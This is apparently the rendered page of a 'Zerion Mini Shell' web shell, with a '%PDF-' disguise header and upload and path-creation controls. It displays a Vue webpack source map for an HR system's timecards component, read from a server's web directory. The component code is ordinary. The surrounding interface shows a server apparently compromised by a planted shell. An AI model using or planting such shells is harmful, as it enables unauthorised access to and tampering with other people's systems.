%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hr/web/js/
Upload File :
Create Path :
Current File : /var/www/html/hr/web/js/chunk-2d0db23a.286fb8d6.js.map

{"version":3,"sources":["webpack:///./src/views/timecards/Timecards.vue?894d","webpack:///src/views/timecards/Timecards.vue","webpack:///./src/views/timecards/Timecards.vue?5701","webpack:///./src/views/timecards/Timecards.vue"],"names":["render","_vm","this","_h","$createElement","_c","_self","attrs","staticClass","$t","model","value","callback","$$v","activeItem","expression","name","_v","_s","_e","staticRenderFns","userId","component"],"mappings":"yHAAA,IAAIA,EAAS,WAAa,IAAIC,EAAIC,KAASC,EAAGF,EAAIG,eAAmBC,EAAGJ,EAAIK,MAAMD,IAAIF,EAAG,OAAOE,EAAG,MAAM,CAACA,EAAG,aAAa,CAACE,MAAM,CAAC,GAAK,iBAAiB,CAACF,EAAG,MAAM,CAACG,YAAY,uCAAuC,CAACH,EAAG,oBAAoB,CAACE,MAAM,CAAC,MAAQN,EAAIQ,GAAG,uBAAuBJ,EAAG,YAAY,CAACG,YAAY,4BAA4BD,MAAM,CAAC,KAAO,UAAUG,MAAM,CAACC,MAAOV,EAAc,WAAEW,SAAS,SAAUC,GAAMZ,EAAIa,WAAWD,GAAKE,WAAW,eAAe,CAAEd,EAAa,UAAEI,EAAG,MAAM,CAACG,YAAY,QAAQ,CAACH,EAAG,iBAAiB,CAACE,MAAM,CAAC,MAAQ,qBAAqB,CAACF,EAAG,cAAc,CAACE,MAAM,CAAC,GAAK,CAACS,KAAM,oBAAsB,QAAU,GAAG,IAAM,MAAM,CAACf,EAAIgB,GAAGhB,EAAIiB,GAAGjB,EAAIQ,GAAG,wBAAwB,QAAQ,GAAGJ,EAAG,iBAAiB,CAACE,MAAM,CAAC,MAAQ,aAAa,CAACF,EAAG,cAAc,CAACE,MAAM,CAAC,GAAK,CAACS,KAAM,YAAY,QAAU,GAAG,IAAM,MAAM,CAACf,EAAIgB,GAAGhB,EAAIiB,GAAGjB,EAAIQ,GAAG,2BAA2B,IAAI,GAAGR,EAAIkB,QAAQ,KAAKd,EAAG,gBAAgB,IAC55Be,EAAkB,G,oCCyBtB,GACE,KAAF,YACE,KAAF,WAAI,MAAJ,CACMN,WAAY,KACZO,OAAQ,OAEZ,QAAF,CACI,gBADJ,WAEM,KAAN,4BACM,KAAN,yCAGE,SAAF,CACI,UADJ,WAEM,IAAN,yBACM,OAAN,0BAGE,QAlBF,WAmBI,KAAJ,mBAEE,QArBF,WAsBI,KAAJ,oBChDkW,I,YCO9VC,EAAY,eACd,EACAtB,EACAoB,GACA,EACA,KACA,WACA,MAIa,aAAAE,E","file":"js/chunk-2d0db23a.286fb8d6.js","sourcesContent":["var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;return _c('div',[_c('vue-portal',{attrs:{\"to\":\"hrsys-navbar\"}},[_c('div',{staticClass:\"flex text-2xl font-bold text-center\"},[_c('base-header-title',{attrs:{\"title\":_vm.$t('modules.timecard')}}),_c('vs-navbar',{staticClass:\"flex flex-col sm:flex-row\",attrs:{\"type\":\"shadow\"},model:{value:(_vm.activeItem),callback:function ($$v) {_vm.activeItem=$$v},expression:\"activeItem\"}},[(_vm.hasAccess)?_c('div',{staticClass:\"flex\"},[_c('vs-navbar-item',{attrs:{\"index\":\"approveTimecards\"}},[_c('router-link',{attrs:{\"to\":{name: 'approveTimecards', },\"replace\":\"\",\"tag\":\"a\"}},[_vm._v(_vm._s(_vm.$t('timecards.approvals'))+\" \")])],1),_c('vs-navbar-item',{attrs:{\"index\":\"timecard\"}},[_c('router-link',{attrs:{\"to\":{name: 'timecard'},\"replace\":\"\",\"tag\":\"a\"}},[_vm._v(_vm._s(_vm.$t('timecards.personal')))])],1)],1):_vm._e()])],1)]),_c('router-view')],1)}\nvar staticRenderFns = []\n\nexport { render, staticRenderFns }","<template>\n  <div>\n    <vue-portal to=\"hrsys-navbar\">\n      <div class=\"flex text-2xl font-bold text-center\">\n        <base-header-title :title=\"$t('modules.timecard')\"/>\n        <vs-navbar class=\"flex flex-col sm:flex-row\" type=\"shadow\" v-model=\"activeItem\">\n          <div class=\"flex\" v-if=\"hasAccess\">\n            <vs-navbar-item index=\"approveTimecards\">\n              <router-link :to=\"{name: 'approveTimecards', }\" replace tag=\"a\">{{ $t('timecards.approvals') }}\n              </router-link>\n            </vs-navbar-item>\n            <vs-navbar-item index=\"timecard\">\n              <router-link :to=\"{name: 'timecard'}\" replace tag=\"a\">{{ $t('timecards.personal') }}</router-link>\n            </vs-navbar-item>\n          </div>\n        </vs-navbar>\n      </div>\n    </vue-portal>\n    <router-view/>\n  </div>\n</template>\n\n<script>\n  import Auth from \"../../services/Auth\";\n  import {ADMIN_ROLE, HR_ROLE, MANAGER_ROLE} from \"../../middlewares/permissions\";\n\n  export default {\n    name: \"Timecards\",\n    data: () => ({\n      activeItem: null,\n      userId: null,\n    }),\n    methods: {\n      getRouteDetails () {\n        this.activeItem = this.$route.name;\n        this.userId = parseInt(this.$route.params.id)\n      }\n    },\n    computed: {\n      hasAccess () {\n        let permittedRoles = [ADMIN_ROLE, HR_ROLE, MANAGER_ROLE];\n        return Auth.hasOneOfRoles(permittedRoles)\n      }\n    },\n    mounted () {\n      this.getRouteDetails()\n    },\n    updated () {\n      this.getRouteDetails()\n    }\n  }\n</script>\n\n<style scoped>\n\n</style>\n","import mod from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Timecards.vue?vue&type=script&lang=js&\"; export default mod; export * from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Timecards.vue?vue&type=script&lang=js&\"","import { render, staticRenderFns } from \"./Timecards.vue?vue&type=template&id=644eb70d&scoped=true&\"\nimport script from \"./Timecards.vue?vue&type=script&lang=js&\"\nexport * from \"./Timecards.vue?vue&type=script&lang=js&\"\n\n\n/* normalize component */\nimport normalizer from \"!../../../node_modules/vue-loader/lib/runtime/componentNormalizer.js\"\nvar component = normalizer(\n  script,\n  render,\n  staticRenderFns,\n  false,\n  null,\n  \"644eb70d\",\n  null\n  \n)\n\nexport default component.exports"],"sourceRoot":""}

Zerion Mini Shell 1.0